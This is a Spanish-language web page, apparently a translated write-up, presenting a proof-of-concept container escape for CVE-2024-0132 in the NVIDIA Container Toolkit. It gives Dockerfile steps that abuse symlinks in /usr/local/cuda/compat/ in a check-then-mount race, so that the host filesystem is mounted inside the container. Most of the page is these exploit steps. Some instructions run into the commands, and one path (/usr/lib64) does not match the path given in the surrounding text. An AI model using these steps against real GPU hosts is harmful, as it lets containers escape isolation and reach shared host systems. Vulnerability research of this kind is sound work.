
CVE-2024-0132 – Exploit completamente armado del NVIDIA Container Toolkit
CVE-2024-0132 PoC
Empecemos decidiendo una imagen base. La disposición de las bibliotecas en el sistema depende de cuál sea. Por ejemplo, para alpine será /usr/lib64/, para ubuntu será /usr/lib/x86_64-linux-gnu. Usaremos ubuntu como imagen base.
FROM ubuntu
El nvidia containter toolkit verifica las bibliotecas en /usr/local/cuda/compat/ dentro del contenedor y luego las monta en el directorio principal de bibliotecas; para esta imagen (ubuntu) esto sería /usr/lib/x86_64-linux-gnu.
Los enlaces también se montan, por lo que puedes montar cualquier archivo y directorio de la imagen a /usr/lib/x86_64-linux-gnu. Esto verifica que el enlace se resuelva dentro del contenedor, no puede usar múltiples ../ para path traversal. Sin embargo, esto se puede eludir usando el montaje dentro del contenedor a través de /usr/local/cuda/compat/ dos veces, de ahí TOCTOU.
Lee más sobre el mecanismo de montaje desde /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
Crea dos directorios:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
El nombre libdxcore.so se elige para satisfacer los filtros. La versión mayor (1337) debe ser diferente de la versión real del controlador.
Crea dos enlaces en /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ por /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs a /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante la verificación será un archivo normal, pero en el momento del montaje será un enlace que estaba en /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, por lo tanto el sistema de archivos del host se montará en /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2